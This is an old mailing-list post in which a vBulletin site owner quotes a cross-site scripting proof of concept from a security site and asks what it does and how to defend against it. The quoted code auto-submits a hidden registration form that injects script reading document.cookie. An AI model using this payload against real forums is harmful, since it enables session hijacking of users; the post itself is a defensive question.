Vulnerabilities in vBulletin ????
| From: | Phpu | Date: | Fri, 23 Apr 2004 19:26:12 +0000 |
| Subject: | Vulnerabilities in vBulletin ???? | ||
| Groups: | php.general | ||
| Request: | Send a blank email to php-general+get-184458@lists.php.net to get a copy of this message | ||
I have vBulletin installed on my site. A few hours ago a friend sent me a link to
securityfocus.com.
There, it is said that if i have vBulletin installed i could be vulnerable.
Here the script shown on the site....
[form action="http://[victim]/register.php?do=register"
method="post"
style="display:none"]
[input type="hidden" name="s" value="" /]
[input type="hidden" name="regtype" value="1" /]
[input type="text" class="bginput" name="field1" value=""
size="25"
maxlength="250" /]
[input type="hidden" name="url" value="index.php" /]
[input type="hidden" name="do" value="addmember" /]
[/form]
[script]
//Code that will be executed
var xss = "\"][script]alert(document"+".cookie)[\/script]";
document.forms[0].field1.value=xss;
document.forms[0].submit();
[/script]
*Replace ([],<>)
The only problem that i have is that i do not know what the script does and how it works.
PS: How can i get rid of this?